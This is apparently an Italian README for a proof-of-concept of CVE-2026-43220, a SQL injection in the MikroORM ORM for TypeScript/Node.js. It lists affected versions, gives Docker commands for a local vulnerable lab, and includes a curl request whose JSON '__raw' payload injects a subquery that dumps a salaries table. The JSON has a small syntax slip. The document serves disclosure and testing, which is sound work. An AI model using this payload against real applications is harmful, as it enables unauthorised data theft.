
Vulnerabilità di SQL Injection in MikroORM
★ CVE-2026-43220 MikroORM SQL Injection PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 è una vulnerabilità di SQL Injection in MikroORM, un framework ORM ampiamente utilizzato per TypeScript/Node.js.
Quando un valore fornito dall'utente contenente una proprietà__rawviene passato a una colonna di tipo Custom senza validazione, il controlloisRaw()di MikroORM lo identifica come un'espressione Raw SQL interna attendibile e inserisce il valoresqlcontrollato dall'attaccante direttamente nella query generata senza conversione di tipo o sanificazione, causando l'esecuzione non intenzionale di SQL arbitrario.
| Categoria | Versione |
|---|
| Vulnerabile | MikroORM versione ≤ 6.4.3 & 7.0.0 ≤ versione ≤ 7.0.5 |
| Corretta | MikroORM 6.4.4 & 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
Dopo aver avviato l'ambiente vulnerabile, segui i passaggi seguenti per riprodurre l'attacco.
__rawInvia un body JSON che includa una proprietà __raw indirizzata a una colonna di tipo Custom.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Verifica che l'API restituisca una risposta di successo senza alcun errore, indicando che MikroORM ha accettato il payload malevolo come valore valido.
Verifica che il campo content del post creato contenga il risultato della query
dalla tabella salaries (ad esempio, Alice: 5000 / Bob: 7000 / ...),
confermando che i dati di una tabella non correlata sono stati silenziosamente incorporati
nella risposta senza alcun errore o violazione del controllo degli accessi.
isRaw() per rifiutare le proprietà __raw fornite dall'esterno__raw prima di passare i valori al livello ORM